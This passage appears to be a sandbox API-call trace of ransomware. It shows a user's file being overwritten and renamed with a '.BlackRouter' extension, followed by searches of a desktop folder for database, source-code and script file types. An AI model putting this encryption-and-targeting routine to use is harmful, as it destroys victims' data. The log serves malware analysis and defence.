halpmcxz\\desktop\\zkpykyv8vy\\fhnfkf-glmqjigsmplt.odp"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x25c [0039.725] GetFileType (hFile=0x25c) returned 0x1 [0039.725] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae510) returned 1 [0039.725] GetFileType (hFile=0x25c) returned 0x1 [0039.726] WriteFile (in: hFile=0x25c, lpBuffer=0x28f1070*, nNumberOfBytesToWrite=0x13000, lpNumberOfBytesWritten=0x1ae6c8, lpOverlapped=0x0 | out: lpBuffer=0x28f1070*, lpNumberOfBytesWritten=0x1ae6c8*=0x13000, lpOverlapped=0x0) returned 1 [0039.727] CloseHandle (hObject=0x25c) returned 1 [0039.731] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp", lpFilePart=0x0) returned 0x48 [0039.731] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp.BlackRouter", nBufferLength=0x105, lpBuffer=0x1ae260, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp.BlackRouter", lpFilePart=0x0) returned 0x54 [0039.731] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae6a0) returned 1 [0039.731] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\fhnfkf-glmqjigsmplt.odp"), fInfoLevelId=0x0, lpFileInformation=0x1ae780 | out: lpFileInformation=0x1ae780*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92897140, ftCreationTime.dwHighDateTime=0x1d4661e, ftLastAccessTime.dwLowDateTime=0xd24fde20, ftLastAccessTime.dwHighDateTime=0x1d45d0b, ftLastWriteTime.dwLowDateTime=0xbe31b390, ftLastWriteTime.dwHighDateTime=0x1d4a550, nFileSizeHigh=0x0, nFileSizeLow=0x13000)) returned 1 [0039.731] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae660) returned 1 [0039.732] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\fhnfkf-glmqjigsmplt.odp"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\Fhnfkf-GLMQjigSmPlt.odp.BlackRouter" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zkpykyv8vy\\fhnfkf-glmqjigsmplt.odp.blackrouter")) returned 1 [0039.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.733] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sxd", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.733] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.733] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.733] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.std", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.734] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sxm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.734] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.734] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.734] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sqlite3", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sqlitedb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.735] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.735] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.735] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.735] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sql", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.736] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.736] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.accdb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.736] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.736] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.736] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.736] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.736] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mdb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.737] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.dbf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.737] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.737] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.737] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.odb", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.737] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.mdf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.738] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.738] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.738] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.ldf", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.738] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.cpp", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.739] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.739] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.pas", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.739] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.739] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.asm", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.cmd", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.740] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.740] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.740] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.740] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.bat", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.vbs", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.741] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.741] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.741] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.741] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.sch", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.jsp", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.742] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, lpBuffer=0x1ae250, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", lpFilePart=0x0) returned 0x30 [0039.742] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", nBufferLength=0x105, lpBuffer=0x1ae1f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\", lpFilePart=0x0) returned 0x31 [0039.742] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy\\*.php", lpFindFileData=0x1ae400 | out: lpFindFileData=0x1ae400) returned 0xffffffffffffffff [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae6b0) returned 1 [0039.742] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ae670) returned 1 [0039.743] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae760) returned 1 [0039.743] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zKPykyV8Vy", nBufferLength=0x105, 